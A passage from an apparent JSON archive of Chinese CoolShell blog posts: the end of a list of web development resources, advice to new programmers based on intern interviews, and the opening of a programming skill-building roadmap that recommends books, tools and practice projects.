浏览器接口 (HTML5)\n\n\n![](../wp-content/uploads/amplify.png \"amplify\")\n\n\n* ★ [**Modernizr**](http://www.modernizr.com/) – 是一个专为HTML5 和CSS3 开发的功能检测类库，可以根据浏览器对HTML5 和CSS3 的支持程度提供更加便捷的前端优化方案.[Sources](https://github.com/Modernizr/Modernizr). 一个有用的列表 [cross-browser Polyfills](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-browser-Polyfills)\n* [**HTML5Shiv**](http://code.google.com/p/html5shiv/) : 该项目的目的是为了让IE 能识别HTML5 的元素。\n* [**Polyfills**](https://github.com/remy/polyfills) : 这个项目收集了一些代码片段其用Javascript支持不同的浏览器的特别功能，有些代码需要Flash。\n* [**YepNopeJS**](http://yepnopejs.com/) : 一个异步的条件式的加载器。[Sources](https://github.com/SlexAxton/yepnope.js).\n* jQuery [**CSS3 Finalise**](https://github.com/codler/jQuery-Css3-Finalize/) : 是否厌倦了为每一个浏览器的CSS3属性加前缀？\n* ★ [**Amplify.js**](http://amplifyjs.com/) :一套用于web应用数据管理和应用程序通讯的 **jQuery 组件库**。提供简单易用的API接口。Amplify的目标是通过为各种数据源提供一个统一的程序接口简化各种格式数据的数据处理。Amplify的存储组件使用localStorage 和 sessionStorage标准处理客户端的存储信息，对一些老的浏览器支持可能有问题。Amplify’为jQuery的ajax方法request增加了一些额外的特性。 [Sources](https://github.com/appendto/amplify).\n* [**History.js**](https://github.com/balupton/history.js) 优美地支持了HTML5 History/State APIs\n* [**Socket.IO**](http://socket.io/) Web的socket编程。\n\n\n#### JavaScript 工具\n\n\n![](../wp-content/uploads/headJs.png \"headJs\")\n\n\n* ★  {{[**mustaches**](http://mustache.github.com/)}} 小型的 JavaScript 模板引擎。\n* [**json:select()**](http://jsonselect.org/), CSS式的JSON选择器\n* [**HeadJS**](http://headjs.com/), 异步JavaScript装载。其最大特点就是不仅可以按顺序执行还可以并发装载载js。\n* [**JsDoc Toolkit**](http://code.google.com/p/jsdoc-toolkit/)是一款辅助工具，你只需要根据约定在JavaScript 代码中添加相应的注释，它就可以根据这些注释来自动生成API文档。\n* [**Responsive image**](https://github.com/filamentgroup/Responsive-Images), 一个试验性的项目，用来处理[responsive layouts](http://www.alistapart.com/articles/responsive-web-design/) 式的图片。\n* [**UglifyJS**](http://marijnhaverbeke.nl/uglifyjs)是基于NodeJS的Javascript语法解析/压缩/格式化工具，它支持任何CommonJS模块系统的Javascript平台。\n* [**Dhteumeuleu**](http://www.dhteumeuleu.com/), 交互式的 DOM 脚本和DHTML 的开源演示。\n* [**Backbone**](https://github.com/documentcloud/backbone/)是一个前端 JS 代码 MVC 框架，被著名的 37signals 用来构建他们的移动客户端。它不可取代 Jquery，不可取代现有的Template 库。而是和这些结合起来构建复杂的 web 前端交互应用。如果项目涉及大量的 javascript 代码，实现很多复杂的前端交互功能，首先你会想到把数据和展示分离。使用 Jquery 的 selector 和 callback 可以轻松做到这点。但是对于富客户端的WEB应用大量代码的结构化组织非常必要。Backbone 就提供了 javascript 代码的组织的功能。Backbone 主要包括 models, collections, views 和 events, controller 。\n\n\n#### 客户端和模拟器\n\n\n![](../wp-content/uploads/firebug.png \"firebug\")\n\n\n* [**BrowserShot**](http://browsershots.org/), 检查浏览器的兼容性，跨浏览器平器的测试\n* **[Test everything](http://tester.jonasjohn.de/)**… 输入一个你想要测试的URL……\n* [**Android browser**](http://tmobile.modeaondemand.com/htc/g1/) 模拟器\n* [**iPhone browser**](http://iphonetester.com/) 模拟器\n* [**Opera browser**](http://www.opera.com/mobile/demo/) 模拟器\n* ★ [**Firebug**](http://getfirebug.com/whatisfirebug) 与 **[Firefox](http://www.mozilla.com/fr/firefox/)** 集成，可以查看和调试你的Web页面。\n\n\n### CSS3 和 字库\n\n\n![](../wp-content/uploads/patternTap.png \"patternTap\")\n\n\n* ★ [**CSS3 Maker**](http://www.css3maker.com/) CCS3的生成器\n* 容易地创建 **[CSS3 animations](http://www.sencha.com/products/animator/)。** Sencha Animator 是一个桌面应用可以为WebKit浏览器和触摸式移动设备创建 CSS3 animations 。\n* [**CSSwarp**](http://csswarp.eleqtriq.com/) – CSS 文本扭曲生成器\n* [**Gradient Editor**](http://www.colorzilla.com/gradient-editor/), 一个强大的Photoshop式的CSS 渐变编译器。来自 ColorZilla\n* ★ [**Google Web Fonts**](http://www.google.com/webfonts) 通过Google Web Fonts API 可以浏览所有的字体\n* [**@font-face Kit Generator**](http://www.fontsquirrel.com/fontface/generator), 为Web转换字体\n* [**Typetester**](http://www.typetester.org/), 比较字体。\n* [**Media Queries**](http://mediaqueri.es/). 一组 responsive web 设计。\n* [**Pattern TAP**](http://patterntap.com/), UI组件。\n\n\n#### Website (FULL) 模板\n\n\n![](../wp-content/uploads/boilerplate1.png \"boilerplate\")\n\n\n* ★ [**HTML5 Boilerplate**](http://html5boilerplate.com/) 是一个[HTML5](http://www.mhtml5.com/) / CSS / js模板，是实现跨浏览器正常化、性能优化，稳定的可选功能如跨域Ajax和Flash的最佳实践。 项目的开发商称之为技巧集合，目的是满足您开发一个跨浏览器，并且面向未来的网站的需求。 [Sources](https://github.com/paulirish/html5-boilerplate).\n* [**HTML5 starter pack**](http://sickdesigner.com/resources/HTML5-starter-pack/) 是一个干净的和有组织的目录结构，其可适合很多项目，还有一些很常用的文件，以及简单的Photoshop设计模板。\n* ★ [**Initializr**](http://initializr.com/) 是一个HTML5 模板生成器，其可以帮你在15秒内创建一个HTML5的项目。\n* [**Animated Portfolio Gallery**](http://tympanus.net/Tutorials/AnimatedPortfolioGallery/) （[教程](http://tympanus.net/codrops/2010/11/14/animated-portfolio-gallery/)）\n* [**Slick MobileApp Website**](http://tutorialzine.com/2010/07/making-slick-mobileapp-website-jquery-css/) 如果通过 jQuery 和 CSS 制作一个手机应用的网站。\n* [**RSS Reader**](http://net.tutsplus.com/tutorials/javascript-ajax/how-to-build-an-rss-reader-with-jquery-mobile-2/) 如果通过 jQuery Mobile 创建一个RSS Reader\n* ★ [**Single Page Applications**](http://addyosmani.com/blog/building-spas-jquerys-best-friends/) 使用jQuery的朋友们 (Backbone, Underscore, …)创建单一页面。\n* [**Google TV Optimized Templates**](http://code.google.com/p/gtv-resources/), 传统电视已经开始和网路融合，但现阶段产业仍然正在摸索之中，为此将来的网页亦会有结构上的改变。[Google TV Optimized Templates](http://code.google.com/p/gtv-resources/)是一个用HTML/JavaScript制成的开源软体，一如其名是一个对Google TV作出了最佳化的的网页范本，其特色是以遥控器作为操作的前提，令使用者无需输入任何文字就可以进行控制。未来除了会有专用遥控器外，还会采用智能手机透过W-iFi控制Google TV的方法。Optimized Templates的界面中左方会展示分类，右方会显示该分类下的影片截图，影片播放、切换、全画面表示都可透过键盘上的方向键、Backspace或Enter等键完成，方便今后的网站开发人员借镜。HTML5 版的模板使用了 [Google TV UI library](http://code.google.com/p/gtv-ui-lib), jQuery  和 Closure 。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [![一些文章资源和趣闻](../wp-content/uploads/2011/11/stackparts.com_-150x150.png)](https://coolshell.cn/articles/5537.html)[一些文章资源和趣闻](https://coolshell.cn/articles/5537.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3903.html)[一些有意思的贴子和工具](https://coolshell.cn/articles/3903.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg](https://coolshell.cn/articles/1949.html)[Web中的省略号](https://coolshell.cn/articles/1949.html)\nThe post [开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-7-12 给程序员新手的一些建议.md",
    "content": "---\nlayout: post\ntitle: 给程序员新手的一些建议\ndate: 2011/7/12/ 0:37:49\nupdated: 2011/7/12/ 0:37:49\nstatus: publish\npublished: true\ntype: post\n---\n\n前段时间因为实习生计划花了很多时间做了实习生招聘的工作，产生的一些想法，写在这里。\n\n\n这次招聘过程中，我发现我们在校的学生有下面的这些特点：\n\n\n**1）NB的项目。**当说到自己做过的项目时， 我发现他们做的事都是很NB。要么是研究Linux的底层内核，要么是图像识别处理，要么是推荐算法，要么做高性能计算，要么做数据挖掘，要么是移动方面的协议，还有一些很高深的课题我听不太懂的项目。这让我想起当年我在学校里的实习，对比起我用Java Applet 和 HTML做操作系统的教学课件，或是在公司里用Delphi/PowerBuilder做的那些MIS系统。让我觉得有些汗颜。\n\n\n**2）OK的解决问题能力。**当问到算法题时，我发现他们的问题解决能力还OK。我一般问1到2个中低难度的算法题和1个基本的面向对象设计的题，都不难。我相信只要在学校里好好学习的人都应该答得出来。无非就是一些基本的算法和基本数据结构操作的问题，和比较基础的面向对象设计的题，说白了就是作业题。可惜的是，只有5%不到的同学能够在不给提示的情况下答出来，70%的人可以在给一定的提示下答出来，15%左右的同学需要提示到几乎给出答案才能答出来，还有10%的同学怎么给提示都答不出来。\n\n\n**3）WTF的编码能力**。老实说，对于解算法题，我还是比较可以接受的，因为80%左右的同学在给予提示后都能描述出解题的算法，于是，我让他们把这个算法用他们最熟悉的语言写出来。但结果让我出乎意料，一段在解法很清楚的情况下只需要不到30行代码的小算法题，只有一个人能在10分钟几写完，其它的人基本所有的需要30分钟左右（甚至40分钟），有2、3个人居然写不出来。有一个比较极端的case是——有个同学花了十分钟都写不出从一个整型数组中找到最小的正数的代码。这个事让我觉得很惊讶，难道大家在做项目的时候不编程吗？\n\n\n对于这种情况，我想给大家以下后一些建议：\n\n\n\n* 我感到我们在校的学生正如“[为什么中国的网页这么烂](https://coolshell.cn/articles/3605.html \"为什么中国的网页设计那么烂？\")”中所说的——**他们习惯于获取大量的知识，而从不对这些知识进行思考和总结**。问题不是我们知道多少东西，问题是我们在获取这些知识的时候会不会去思考这些知识后的东西？比如：为什么会有这么多经典的数据结构，数组，链表，树，哈希表，图这些数据结构主要用来解决什么样的问题，他们的优势和劣势是什么？**没有思考过，就不算真正的懂，没有思考过，你将无法应对万变的问题，没有思考过，你将成为书呆子**。\n\n\n* **多多实践而不是研究**。编程不是在实验室做科研搞理论啊，计算机这本就是一个实践性很强的的学科啊，这不是数学，这需要你多多的实践啊。我们不要真以为读的是——计算机科学（Computer Science ）就是搞理论的了，这里面需要很多很多的Engineering的工作。（我实在是很难想像，居然有这么多人写一般难度的程序居然会是那么痛苦的事）\n\n\n* 我在我的新浪微博（[@左耳朵耗子](http://weibo.com/haoel)）里说的，我们不要以为做过项目，会写程序，我们就是程序员了。如果你只是在按部就班地写代码，你就是Coder，江湖叫“码农”，不要把自己当成“码农”，我们一定要对自己的代码，自己的设计不停地反思和总结，并精益求精，写程序本来就是一件有价值的事，这就像写篇作文人人都会写，但并不是人人都能把文章写好。**编程和写作都是一样的，这都是在搞创作啊。想做“码农”还是想做“程序员”？自己决定吧**。\n\n\n* **我们的教育的确很“废柴”，但这不是我们成为“废柴”的原因**。如果我们的学习还停留在“别人给我什么我就学什么”的被动学习阶段，那么你真的不懂怎么是学习。虽然，我们的学校里并没有教你什么是“Version Control”，什么是“Coding Style”，什么是“Refactory”，什么是“Code Review”，什么是“Unit Test”，也没有告诉你一些经典的设计的和架构，等等，等等，但是这是什么年代了？这个时代不是像我上学那时——学校机房里上机用的电脑连内存和硬盘都没有，用5寸的低密软盘面对绿色显示器的286，上网还要“猫”，而且贵的要死（一小时22元），而且网上什么都没有时代了。**我们身边有很多很多优秀的人，网上有很多优秀的文章，书店里也有很多不错的书，而且我们的软件开发日趋成熟，如果我们还学不好的话，那么我们就是在犯罪！**\n\n\n最后，和大家说一下公司的实习生招聘。这个事情其实是毕业生招聘的一个组成部分，也就是说，因为我国教育的问题，再加上学生自己的问题，导致毕业生量多质次的情况很严重，对于公司，其很难从学校招到一个比较不错的毕业生，这种情况已经不是新问题了，所以，也有很多公司都不招刚毕业的学生。因此，通过实习机会了解并招聘毕业生成了很多公司的毕业生招聘的手段。所以，在这里想告诉在校的同学们，千万不要以为实习计划就是字面上的实习。其实，这和正式的招聘没有什么差别，同样也要看你的能力的。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![为什么我反对纯算法面试题](../wp-content/uploads/2012/08/250px-Sheldon_Cooper-150x150.jpg)](https://coolshell.cn/articles/8138.html)[为什么我反对纯算法面试题](https://coolshell.cn/articles/8138.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4506.html)[再谈“我是怎么招聘程序员的”（上）](https://coolshell.cn/articles/4506.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/4490.html)[再谈“我是怎么招聘程序员的”（下）](https://coolshell.cn/articles/4490.html)\n* [![140个Google的面试题](../wp-content/uploads/2010/12/googlequestion-150x150.jpg)](https://coolshell.cn/articles/3345.html)[140个Google的面试题](https://coolshell.cn/articles/3345.html)\n* [![我是怎么招聘程序员的](../wp-content/uploads/2009/12/job-interview-150x150.gif)](https://coolshell.cn/articles/1870.html)[我是怎么招聘程序员的](https://coolshell.cn/articles/1870.html)\nThe post [给程序员新手的一些建议](https://coolshell.cn/articles/4976.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-7-18 程序员技术练级攻略.md",
    "content": "---\nlayout: post\ntitle: 程序员技术练级攻略\ndate: 2011/7/18/ 2:31:22\nupdated: 2011/7/18/ 2:31:22\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2011/07/programmer.png \"程序员技术练级入略\")**注：该文最新的版本在这里《[程序员技术练级攻略（2018版）](https://coolshell.cn/articles/18360.html)》（需要付费阅读）**\n\n\n月光博客6月12日发表了《[写给新手程序员的一封信](http://www.williamlong.info/archives/2700.html)》，翻译自《[An open letter to those who want to start programming](http://blog.akash.im/an-open-letter-to-those-who-want-to-start)》，我的朋友（他在本站的id是[Mailper](https://coolshell.cn/?author=3)）告诉我，他希望在酷壳上看到一篇更具操作性的文章。因为他也是喜欢编程和技术的家伙，于是，我让他把他的一些学习Python和Web编程的一些点滴总结一下。于是他给我发来了一些他的心得和经历，我在把他的心得做了不多的增改，并根据我的经历增加了“进阶”一节。**这是一篇由新手和我这个老家伙根据我们的经历完成的文章**。\n\n\n我的这个朋友把这篇文章取名叫Build Your Programming Technical Skills，我实在不知道用中文怎么翻译，但我在写的过程中，**我觉得这很像一个打网游做任务升级的一个过程，所以取名叫“技术练级攻略”，题目有点大，呵呵，这个标题纯粹是为了好玩**。**这里仅仅是在分享Mailper和我个人的学习经历。**（注：省去了我作为一个初学者曾经学习过的一些技术(今天明显过时了)，如：Delphi/Power builder，也省去了我学过的一些我觉得没意思的技术Lotus Notes/ActiveX/COM/ADO/ATL/.NET ……）\n\n\n#### 前言\n\n\n你是否觉得自己从学校毕业的时候只做过小玩具一样的程序？走入职场后哪怕没有什么经验也可以把以下这些课外练习走一遍（朋友的抱怨：学校课程总是从理论出发，作业项目都看不出有什么实际作用，不如从工作中的需求出发）\n\n\n建议：\n\n\n* 不要乱买书，不要乱追新技术新名词，基础的东西经过很长时间积累而且还会在未来至少10年通用。\n* 回顾一下历史，看看历史上时间线上技术的发展，你才能明白明天会是什么样。\n* 一定要动手，例子不管多么简单，建议至少自己手敲一遍看看是否理解了里头的细枝末节。\n* 一定要学会思考，思考为什么要这样，而不是那样。还要举一反三地思考。\n\n\n**注**：你也许会很奇怪为什么下面的东西很偏Unix/Linux，这是因为我觉得Windows下的编程可能会在未来很没有前途，原因如下：\n\n\n\n* 现在的用户界面几乎被两个东西主宰了，1）Web，2）移动设备iOS或Android。Windows的图形界面不吃香了。\n* 越来越多的企业在用成本低性能高的Linux和各种开源技术来构架其系统，Windows的成本太高了。\n* 微软的东西变得太快了，很不持久，他们完全是在玩弄程序员。详情参见《[Windows编程革命史](https://coolshell.cn/articles/3008.html \"Windows编程革命简史\")》\n\n\n所以，我个人认为以后的趋势是前端是Web+移动，后端是Linux+开源。开发这边基本上没Windows什么事。\n\n\n#### 启蒙入门\n\n\n**1、 学习一门脚本语言，例如Python/Ruby**\n\n\n可以让你摆脱对底层语言的恐惧感，脚本语言可以让你很快开发出能用得上的小程序。实践项目:\n\n\n* 处理文本文件，或者csv (关键词 python csv, python open, python sys) 读一个本地文件，逐行处理（例如 word count，或者处理log）\n* 遍历本地文件系统 (sys, os, path)，例如写一个程序统计一个目录下所有文件大小并按各种条件排序并保存结果\n* 跟数据库打交道 (python sqlite)，写一个小脚本统计数据库里条目数量\n* 学会用各种print之类简单粗暴的方式进行调试\n* 学会用Google (phrase, domain, use reader to follow tech blogs)\n\n\n为什么要学脚本语言，因为他们实在是太方便了，很多时候我们需要写点小工具或是脚本来帮我们解决问题，你就会发现正规的编程语言太难用了。\n\n\n**2、 用熟一种程序员的编辑器(不是IDE) 和一些基本工具**\n\n\n* Vim / Emacs / Notepad++，学会如何配置代码补全，外观，外部命令等。\n* Source Insight (或 ctag)\n\n\n使用这些东西不是为了Cool，而是这些编辑器在查看、修改代码/配置文章/日志会更快更有效率。\n\n\n**3、 熟悉Unix/Linux Shell和常见的命令行**\n\n\n* 如果你用windows，至少学会用虚拟机里的linux， vmware player是免费的，装个Ubuntu吧\n* 一定要少用少用图形界面。\n* 学会使用man来查看帮助\n* 文件系统结构和基本操作 ls/chmod/chown/rm/find/ln/cat/mount/mkdir/tar/gzip …\n* 学会使用一些文本操作命令 sed/awk/grep/tail/less/more …\n* 学会使用一些管理命令 ps/top/lsof/netstat/kill/tcpdump/iptables/dd…\n* 了解/etc目录下的各种配置文章，学会查看/var/log下的系统日志，以及/proc下的系统运行信息\n* 了解正则表达式，使用正则表达式来查找文件。\n\n\n对于程序员来说Unix/Linux比Windows简单多了。（参看我四年前CSDN的博文《[其实Unix很简单](http://blog.csdn.net/haoel/article/details/1533720)》）学会使用Unix/Linux你会发现图形界面在某些时候实在是太难用了，相当地相当地降低工作效率。\n\n\n**4、 学习Web基础（HTML/CSS/JS) + 服务器端技术 (LAMP)**\n\n\n未来必然是Web的世界，学习WEB基础的最佳网站是[W3School](http://www.w3school.com.cn/)。\n\n\n* 学习HTML基本语法\n* 学习CSS如何选中HTML元素并应用一些基本样式（关键词：box model）\n* 学会用  Firefox + Firebug 或 chrome 查看你觉得很炫的网页结构，并动态修改。\n* 学习使用Javascript操纵HTML元件。理解DOM和动态网页（<http://oreilly.com/catalog/9780596527402>) 网上有免费的章节，足够用了。或参看 [DOM](http://www.w3school.com.cn/htmldom/index.asp) 。\n* 学会用  Firefox + Firebug 或 chrome 调试Javascript代码（设置断点，查看变量，性能，控制台等）\n* 在一台机器上配置[Apache](www.apache.org) 或 [Nginx](nginx.net)\n* 学习[PHP](www.php.net)，让后台PHP和前台HTML进行数据交互，对服务器相应浏览器请求形成初步认识。实现一个表单提交和反显的功能。\n* 把PHP连接本地或者远程数据库 MySQL（MySQL 和 SQL现学现用够了）\n* 跟完一个名校的网络编程课程（例如：<http://www.stanford.edu/~ouster/cgi-bin/cs142-fall10/index.php> ) 不要觉得需要多于一学期时间，大学生是全职一学期选3-5门课，你业余时间一定可以跟上\n* 学习一个javascript库（例如jQuery 或 ExtJS）+  Ajax (异步读入一个服务器端图片或者数据库内容）+JSON数据格式。\n* HTTP: The Definitive Guide 读完前4章你就明白你每天上网用浏览器的时候发生的事情了(proxy, gateway, browsers)\n* 做个小网站（例如：一个小的留言板，支持用户登录，Cookie/Session，增、删、改、查，上传图片附件，分页显示）\n* 买个域名，租个空间，做个自己的网站。\n\n\n#### 进阶加深\n\n\n**1、 C语言和操作系统调用**\n\n\n* 重新学C语言，理解指针和内存模型，用C语言实现一下各种经典的算法和数据结构。推荐《[计算机程序设计艺术](http://product.china-pub.com/197050)》、《[算法导论](http://product.china-pub.com/31701)》和《[编程珠玑](http://product.china-pub.com/209243)》。\n* 学习[（麻省理工免费课程）计算机科学和编程导论](https://coolshell.cn/articles/3723.html \"（麻省理工免费课程）计算机科学和编程导论\")\n* 学习[（麻省理工免费课程）C语言内存管理](https://coolshell.cn/articles/2474.html \"（麻省理工免费课程）C语言内存管理和C++面向对象编程\")\n* 学习Unix/Linux系统调用（[Unix高级环境编程](http://product.china-pub.com/30181)），，了解系统层面的东西。\n\t+ 用这些系统知识操作一下文件系统，用户（实现一个可以拷贝目录树的小程序）\n\t+ 用fork/wait/waitpid写一个多进程的程序，用pthread写一个多线程带同步或互斥的程序。多进程多进程购票的程序。\n\t+ 用signal/kill/raise/alarm/pause/sigprocmask实现一个多进程间的信号量通信的程序。\n\t+ 学会使用gcc和gdb来编程和调试程序（参看我的《[用gdb调试程序](blog.csdn.net/haoel/article/details/2879)》）\n\t+ 学会使用makefile来编译程序。（参看我的《[跟我一起写makefile](blog.csdn.net/haoel/article/details/2886)》）\n\t+ IPC和Socket的东西可以放到高级中来实践。\n* 学习Windows SDK编程（[Windows 程序设计](http://product.china-pub.com/52880)，[MFC程序设计](http://product.china-pub.com/3804)）\n\t+ 写一个窗口，了解WinMain/WinProcedure，以及Windows的消息机制。\n\t+ 写一些程序来操作Windows SDK中的资源文件或是各种图形控件，以及作图的编程。\n\t+ 学习如何使用MSDN查看相关的SDK函数，各种WM\\_消息以及一些例程。\n\t+ 这本书中有很多例程，在实践中请不要照抄，试着自己写一个自己的例程。\n\t+ 不用太多于精通这些东西，因为GUI正在被Web取代，主要是了解一下Windows 图形界面的编程。@[virushuo](http://twitter.com/#!/virushuo \"virushuo\") 说：“ 我觉得GUI确实不那么热门了，但充分理解GUI工作原理是很重要的。包括移动设备开发，如果没有基础知识仍然很吃力。或者说移动设备开发必须理解GUI工作，或者在win那边学，或者在mac/iOS上学”。\n\n\n**2、学习Java**\n\n\n* Java 的学习主要是看经典的Core Java 《[Java 核心技术编程](http://product.china-pub.com/208978)》和《[Java编程思想](http://product.china-pub.com/34838)》（有两卷，我仅链了第一卷，足够了，因为Java的图形界面了解就可以了）\n* 学习JDK，学会查阅Java API Doc <http://download.oracle.com/javase/6/docs/api/>\n* 了解一下Java这种虚拟机语言和C和Python语言在编译和执行上的差别。从C、Java、Python思考一下“跨平台”这种技术。\n* 学会使用IDE Eclipse，使用Eclipse 编译，调试和开发Java程序。\n* 建一个Tomcat的网站，尝试一下JSP/Servlet/JDBC/MySQL的Web开发。把前面所说的那个PHP的小项目试着用JSP和Servlet实现一下。\n\n\n**3、Web的安全与架构**\n\n* 学习HTML5，网上有很多很多教程，以前[酷壳](https://coolshell.cn)也介绍过很多，我在这里就不罗列了。\n* 学习Web开发的安全问题（参考[新浪微博被攻击的这个事](https://coolshell.cn/articles/4914.html \"新浪微博的XSS攻击\")，以及[Ruby的这篇文章](http://guides.rubyonrails.org/security.html)）\n* 学习HTTP Server的rewrite机制，Nginx的反向代理机制，[fast-cgi](http://en.wikipedia.org/wiki/Fast_CGI)（如：[PHP-FPM](http://php-fpm.org/)）\n* 学习Web的静态页面缓存技术。\n* 学习Web的异步工作流处理，数据Cache，数据分区，负载均衡，水平扩展的构架。\n* **实践任务：**\n\t+ 使用HTML5的canvas 制作一些Web动画。\n\t+ 尝试在前面开发过的那个Web应用中进行SQL注入，JS注入，以及XSS攻击。\n\t+ 把前面开发过的那个Web应用改成构造在Nginx + PHP-FPM + 静态页面缓存的网站\n\n\n\n**4、学习关系型数据库**\n\n\n* 你可以安装MSSQLServer或MySQL来学习数据库。\n* 学习教科书里数据库设计的那几个范式，1NF，2NF，3NF，……\n* 学习数据库的存过，触发器，视图，建索引，游标等。\n* 学习SQL语句，明白表连接的各种概念（参看《[SQL  Join的图示](https://coolshell.cn/articles/3463.html \"图解SQL的Join\")》）\n* 学习如何优化数据库查询（参看《[MySQL的优化](https://coolshell.cn/articles/1846.html \"MySQL性能优化的最佳20+条经验\")》）\n* **实践任务**：设计一个论坛的数据库，至少满足3NF，使用SQL语句查询本周，本月的最新文章，评论最多的文章，最活跃用户。\n\n\n**5、一些开发工具**\n\n\n* 学会使用SVN或Git来管理程序版本。\n* 学会使用JUnit来对Java进行单元测试。\n* 学习C语言和Java语言的coding standard 或 coding guideline。（我N年前写过一篇关C语言非常简单的文章——《[编程修养](http://blog.csdn.net/haoel/article/category/9200/2)》，这样的东西你可以上网查一下，一大堆）。\n* 推荐阅读《[代码大全](http://product.china-pub.com/28351)》《[重构](http://product.china-pub.com/196374)》《[代码整洁之道](http://product.china-pub.com/196266)》\n\n\n#### 高级深入\n\n\n**1、C++ / Java 和面向对象**\n\n\n我个人以为学好C++，Java也就是举手之劳。但是C++的学习曲线相当的陡。不过，我觉得C++是最需要学好的语言了。参看两篇趣文“[C++学习信心图](https://coolshell.cn/articles/2287.html \"C++ 程序员自信心曲线图\")” 和“[21天学好C++](https://coolshell.cn/articles/2250.html \"“21天教你学会C++”\")”\n\n\n* 学习[（麻省理工免费课程）C++面向对象编程](https://coolshell.cn/articles/2474.html \"（麻省理工免费课程）C语言内存管理和C++面向对象编程\")\n* 读我的 “[如何学好C++](https://coolshell.cn/articles/4119.html \"如何学好C++语言\")”中所推荐的那些书至少两遍以上（如果你对C++的理解能够深入到像我所写的《[C++虚函数表解析](https://coolshell.cn/articles/12165.html \"C++ 虚函数表解析\")》或是《[C++对象内存存局](https://coolshell.cn/articles/12176.html \"C++ 对象的内存布局\")》，或是《[C/C++返回内部静态成员的陷阱](https://coolshell.cn/articles/12192.html \"C/C++返回内部静态成员的陷阱\")》那就非常不错了）\n* 然后反思为什么C++要干成这样，Java则不是？你一定要学会对比C++和Java的不同。比如，Java中的初始化，垃圾回收，接口，异常，虚函数，等等。\n* **实践任务：**\n\t+ 用C++实现一个BigInt，支持128位的整形的加减乘除的操作。\n\t+ 用C++封装一个数据结构的容量，比如hash table。\n\t+ 用C++封装并实现一个智能指针（一定要使用模板）。\n* 《[设计模式](http://product.china-pub.com/25961)》必需一读，两遍以上，思考一下，这23个模式的应用场景。主要是两点：1）钟爱组合而不是继承，2）钟爱接口而不是实现。（也推荐《[深入浅出设计模式](http://product.china-pub.com/27862)》）\n* **实践任务：**\n\t+ 使用工厂模式实现一个内存池。\n\t+ 使用策略模式制做一个类其可以把文本文件进行左对齐，右对齐和中对齐。\n\t+ 使用命令模式实现一个命令行计算器，并支持undo和redo。\n\t+ 使用修饰模式实现一个酒店的房间价格订价策略——旺季，服务，VIP、旅行团、等影响价格的因素。\n* 学习STL的用法和其设计概念  – 容器，算法，迭代器，函数子。如果可能，请读一下其源码。\n* **实践任务：**尝试使用面向对象、STL，设计模式、和WindowsSDK图形编程的各种技能\n\t+ 做一个贪吃蛇或是俄罗斯方块的游戏。支持不同的级别和难度。\n\t+ 做一个文件浏览器，可以浏览目录下的文件，并可以对不同的文件有不同的操作，文本文件可以打开编辑，执行文件则执行之，mp3或avi文件可以播放，图片文件可以展示图片。\n* 学习C++的一些类库的设计，如： MFC（看看候捷老师的《[深入浅出MFC](http://product.china-pub.com/3565)》） ，Boost, ACE,  CPPUnit，STL （STL可能会太难了，但是如果你能了解其中的设计模式和设计那就太好了，如果你能深入到我写的《[STL string类的写时拷贝技术](http://blog.csdn.net/haoel/article/details/24058)》那就非常不错了，ACE需要很强在的系统知识，参见后面的“加强对系统的了解”）\n* Java是真正的面向对象的语言，Java的设计模式多得不能再多，也是用来学习面向对象的设计模式的最佳语言了（参看[Java中的设计模式](https://coolshell.cn/articles/3320.html \"JDK里的设计模式\")）。\n* 推荐阅读《[Effective Java](http://product.china-pub.com/195040)》 and 《[Java解惑](http://product.china-pub.com/197212)》\n* 学习Java的框架，Java的框架也是多，如Spring, Hibernate，Struts 等等，主要是学习Java的设计，如IoC等。\n* Java的技术也是烂多，重点学习J2EE架构以及JMS， RMI, 等消息传递和远程调用的技术。\n* 学习使用Java做Web Service （[官方教程在这里](http://download.oracle.com/docs/cd/E17802_01/webservices/webservices/docs/2.0/tutorial/doc/)）\n* **实践任务：** 尝试在Spring或Hibernate框架下构建一个有网络的Web Service的远程调用程序，并可以在两个Service中通过JMS传递消息。\n\n\nC++和Java都不是能在短时间内能学好的，C++玩是的深，Java玩的是广，我建议两者选一个。我个人的学习经历是：\n\n\n* 深究C++（我深究C/C++了十来年了）\n* 学习Java的各种设计模式。\n\n\n**2、加强系统了解**\n\n\n重要阅读下面的几本书：\n\n\n* 《[Unix编程艺术](http://product.china-pub.com/197413)》了解Unix系统领域中的设计和开发哲学、思想文化体系、原则与经验。你一定会有一种醍醐灌顶的感觉。\n* 《[Unix网络编程卷1，套接字](http://product.china-pub.com/196770)》这是一本看完你就明白网络编程的书。重要注意TCP、UDP，以及多路复用的系统调用select/poll/epoll的差别。\n* 《[TCP/IP详解 